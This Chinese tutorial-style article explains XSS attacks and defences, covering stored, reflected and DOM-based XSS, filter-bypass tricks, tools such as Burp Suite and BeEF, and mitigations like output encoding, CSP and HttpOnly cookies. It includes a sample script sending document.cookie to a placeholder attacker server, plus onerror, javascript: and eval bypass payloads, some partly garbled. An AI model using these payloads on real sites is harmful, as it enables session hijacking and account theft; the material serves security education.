news 2026/10/28 15:01:31

XSS攻击的原理和核心用法。

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSS攻击的原理和核心用法。

跨站脚本攻击(Cross-Site Scripting,简称XSS)是Web应用中最常见的高危漏洞之一,位列OWASP Top 10多年,其核心是攻击者通过注入恶意脚本,在用户浏览器中执行非预期操作,窃取敏感信息、劫持用户会话或篡改页面内容。相较于SQL注入,XSS攻击场景更灵活、绕过方式更多样,且易被开发者忽视,成为Web安全防护的重点与难点。

本文从XSS攻击的核心原理出发,拆解三大类型XSS的攻击逻辑、实战场景与绕过技巧,结合工具实操与防御方案,帮你全面掌握XSS攻击的“攻与防”,避开开发与测试中的常见误区。

一、XSS攻击核心原理:为什么能成功注入?

XSS攻击的本质是“输入输出未做严格过滤”。Web应用若未对用户输入的内容进行校验、编码,直接将其嵌入页面HTML中,当用户访问该页面时,浏览器会将注入的恶意脚本当作合法代码执行,从而实现攻击目的。

核心前提条件:

  • 用户输入可控:攻击者能通过输入框、URL参数、Cookie、评论区等渠道,向Web应用注入恶意脚本;

  • 输出未做过滤:应用将用户输入的内容直接渲染到页面,未进行HTML编码、转义等处理,导致脚本被执行;

  • 浏览器信任机制:浏览器默认信任页面中的脚本,无法区分合法脚本与恶意脚本,直接执行所有符合语法的代码。

XSS攻击的核心危害:窃取用户Cookie、SessionID劫持会话、钓鱼欺诈、篡改页面内容、传播恶意代码、获取用户摄像头/麦克风权限等。

二、XSS攻击三大类型:场景与攻击逻辑拆解

  1. 存储型XSS(Persistent XSS):最危险的长效攻击

核心特点:恶意脚本被永久存储在目标Web应用的数据库、评论区、用户资料等位置,所有访问该页面的用户都会触发脚本执行,影响范围广、持续时间长,危害最大。

(1)攻击流程

  1. 攻击者在用户输入框(如评论区、留言板)输入含恶意脚本的内容;

  2. Web应用未过滤直接将内容存入数据库;

  3. 其他用户访问包含该内容的页面时,应用从数据库读取恶意脚本并渲染到页面;

  4. 用户浏览器执行恶意脚本,攻击者实现攻击目的(如窃取Cookie)。

(2)实战案例:评论区存储型XSS

假设某博客网站评论区未做过滤,攻击者输入以下内容并提交:

<script>var img=new Image();img.src="http://攻击者服务器/steal?cookie="+document.cookie;</script>

该脚本会被存入数据库,当其他用户查看评论时,脚本执行并将自身Cookie发送至攻击者服务器,攻击者可利用Cookie劫持用户会话,登录用户账号。

  1. 反射型XSS(Reflected XSS):一次性触发攻击

核心特点:恶意脚本通过URL参数、表单提交等方式传入Web应用,应用直接将其反射到页面中执行,脚本不存储在服务器,仅对单次访问有效,需诱导用户点击恶意URL才能触发,危害范围相对有限。

(1)攻击流程

  1. 攻击者构造含恶意脚本的URL(如将脚本嵌入URL参数);

  2. 通过钓鱼邮件、社交软件等方式诱导用户点击该URL;

  3. 用户点击后,服务器将URL中的恶意脚本反射到页面并渲染;

  4. 浏览器执行脚本,完成攻击。

(2)实战案例:URL参数反射型XSS

假设某网站搜索页通过URL参数接收搜索关键词,页面直接渲染关键词,攻击者构造如下URL:

http://目标网站/search?key=<script>alert("XSS攻击")</script>

用户点击该URL后,页面会执行alert脚本,若替换为窃取Cookie的脚本,即可实现会话劫持。此类XSS常被用于钓鱼攻击,诱导用户输入敏感信息。

  1. DOM型XSS(DOM-Based XSS):基于页面DOM操作的攻击

核心特点:恶意脚本不经过服务器交互,仅通过客户端DOM操作触发。页面JavaScript代码从URL、Cookie等位置获取数据后,直接修改DOM结构,若未做过滤,会导致恶意脚本执行,属于纯客户端层面的攻击。

(1)攻击流程

  1. 攻击者构造含恶意脚本的URL,诱导用户点击;

  2. 用户浏览器加载页面,页面JavaScript读取URL中的恶意内容;

  3. JavaScript将恶意内容插入DOM树,导致脚本执行;

  4. 攻击完成,全程不与服务器交互,难以被服务器层面的防护设备检测。

(2)实战案例:DOM操作触发XSS

页面存在如下JavaScript代码,从URL参数name中获取值并插入页面:

var name = location.href.split("name=")[1]; document.getElementById("username").innerHTML = name;

攻击者构造URL:

http://目标网站/page?name=<script>stealCookie()</script>

JavaScript读取name参数后,通过innerHTML插入DOM,直接执行恶意脚本。此类XSS因不经过服务器,WAF等设备难以拦截,防御难度更高。

三、XSS攻击绕过技巧:常见防御突破方法

  • 脚本标签变形:使用<script>的变形形式,如<scr事件触发绕过:不使用script>标签,通过HTML事件执行脚本,如img src=x οnerrοr=alert(1)>、a href=javascript:alert(1)>点击/a>`;

  • 编码绕过:对恶意脚本进行HTML实体编码、URL编码、Base64编码,若应用仅过滤原始脚本,未解码校验则会被绕过;

  • 拼接绕过:将脚本拆分拼接,如<script>var a="al";var b="ert";eval(a+b+"(1)")</script>,绕过关键词过滤;

  • 框架嵌套绕过:通过<iframe>、<frame>嵌套恶意页面,间接执行脚本。

  • Burp Suite:核心用于手动检测与利用XSS,通过Repeater模块构造Payload,Scanner模块批量扫描XSS漏洞,支持Payload编码、变形,适配各类XSS场景;

  • OWASP ZAP:开源Web安全扫描工具,可自动扫描存储型、反射型XSS,生成漏洞报告,适合新手入门;

  • XSS Hunter:专门用于检测XSS漏洞的在线工具,提供恶意Payload,若漏洞触发,会向平台发送通知,精准定位可利用的XSS点。

  1. 脚本利用工具
  • Cookie窃取脚本:通过Image、XMLHttpRequest将Cookie发送至攻击者服务器,配合PHP脚本接收存储;

  • BeEF(Browser Exploitation Framework):强大的浏览器劫持框架,通过XSS漏洞注入Hook脚本,可远程控制用户浏览器,执行弹窗、窃取信息、端口扫描等操作。

四、XSS攻击防御方案:从开发到部署全维度防护

  1. 输入过滤:源头阻断恶意内容
  • 严格校验输入格式:对用户输入的内容进行类型、长度、格式校验,如手机号、邮箱仅允许符合规则的字符;

  • 过滤危险关键词:拦截<script>、onerror、javascript:等危险标签与事件,可使用安全库(如Java的OWASP ESAPI)实现;

  • 白名单机制:仅允许指定的合法字符输入,拒绝所有未知字符,防护效果优于黑名单。

  1. 输出编码:渲染时转义恶意脚本

无论输入是否过滤,输出到页面时都需进行编码转义,将特殊字符转换为HTML实体,使浏览器当作文本渲染,不执行脚本:

  • HTML编码:将<转义为&lt;、>转义为&gt;、"转义为&quot;、'转义为&apos;;

  • JavaScript编码:在JavaScript语境中输出时,使用\转义特殊字符,或使用JSON.stringify()处理;

  • URL编码:输出到URL参数时,使用encodeURIComponent()编码,避免参数注入。

  1. 安全配置:增强浏览器防护能力
  • 开启CSP(内容安全策略):通过HTTP响应头Content-Security-Policy限制脚本加载源,仅允许信任的域名加载脚本,禁止内联脚本、eval执行,从浏览器层面阻断XSS;

  • 设置Cookie安全属性:为Cookie添加HttpOnly属性(禁止JavaScript读取)、Secure属性(仅HTTPS传输)、SameSite属性(限制跨域发送),防止Cookie被窃取;

  • 禁用不必要的API:关闭页面中未使用的JavaScript API,如eval()、innerHTML(优先使用textContent),减少攻击面。

  1. 测试验证:上线前全面排查
  • 手动测试:针对所有用户输入点,构造各类XSS Payload,验证过滤与编码效果;

  • 自动化扫描:使用Burp Suite、OWASP ZAP等工具批量扫描,覆盖存储型、反射型、DOM型XSS;

  • 代码审计:检查代码中输入输出处理逻辑,重点排查innerHTML、document.write等危险API的使用。

五、总结:XSS防护的核心是“敬畏输入,严格编码”

XSS攻击的本质是开发者对用户输入的“信任过度”,看似简单的脚本注入,却可能引发用户信息泄露、账号被盗、业务受损等严重后果。防御XSS无需复杂技术,关键在于形成“输入必过滤、输出必编码”的开发习惯,结合CSP、Cookie安全配置等手段,构建多层防护体系。

对安全从业者而言,掌握XSS的攻击与防御逻辑,不仅能精准挖掘漏洞、保障系统安全,更能培养“攻击者视角”的安全思维,为后续学习更复杂的Web漏洞奠定基础。

网络安全学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/26 22:00:20

从「能用」到「好用」:数据可视化的三个维度,你还在第一层吗?——人大提出图表创作新方式

如果说过去十年&#xff0c;可视化解决的是“画出来”的问题——从基础统计图到复杂语法&#xff0c;从matplotlib到ECharts&#xff0c;核心是把数据变成看得见的图形。不知道有多少人曾为了让数据图表既“好看”又“好懂”&#xff0c;而在设计软件与代码编辑器之间反复横跳&…

作者头像 李华
网站建设 2026/10/26 21:54:13

超声波气象站:无探头零磨损,开启无械感监测新纪元

传统气象站依赖机械转动部件监测&#xff0c;风杯、风向标等长期暴露于户外&#xff0c;易受沙尘、雨雪侵蚀出现磨损、卡滞、冻结等故障&#xff0c;不仅影响数据精准&#xff0c;还需高频维护。超声波气象站以技术革新打破局限&#xff0c;凭借无探头零磨损设计与一体化超声传…

作者头像 李华
网站建设 2026/10/27 9:58:04

MoonBit 获日本最大技术社区Zenn原生支持,热度持续上升中!

近日&#xff0c;日本知名技术社区 Zenn 在 X &#xff08;原推特&#xff09;上表示&#xff0c;正式上线了对 MoonBit 语言&#xff08;.mbt&#xff09; 的语法高亮支持&#xff0c;此举意味着 MoonBit 现已可以在 Zenn &#xff08;zenn.dev&#xff09;平台上获得与主流编…

作者头像 李华
网站建设 2026/10/28 11:45:36

GBase 8c数据库磁盘故障定位解析

南大通用GBase 8c数据库常见的磁盘故障是磁盘空间不足、磁盘出现坏块、磁盘未挂载等。部分磁盘故障会导致文件系统损坏&#xff0c;例如磁盘未挂载&#xff0c;数据库管理自动定期执行磁盘检测时会识别故障并将实例停止&#xff0c;查看数据库状态时对应实例状态异常&#xff1…

作者头像 李华
网站建设 2026/10/24 2:54:50

企业微信外部群主动推送消息全攻略

QiWe开放平台 个人名片 API驱动企微自动化&#xff0c;让开发更高效 核心能力&#xff1a;为开发者提供标准化接口、快速集成工具&#xff0c;助力产品高效拓展功能场景 官方站点&#xff1a;https://www.qiweapi.com 团队定位&#xff1a;专注企微API生态的技术服务团队 对接…

作者头像 李华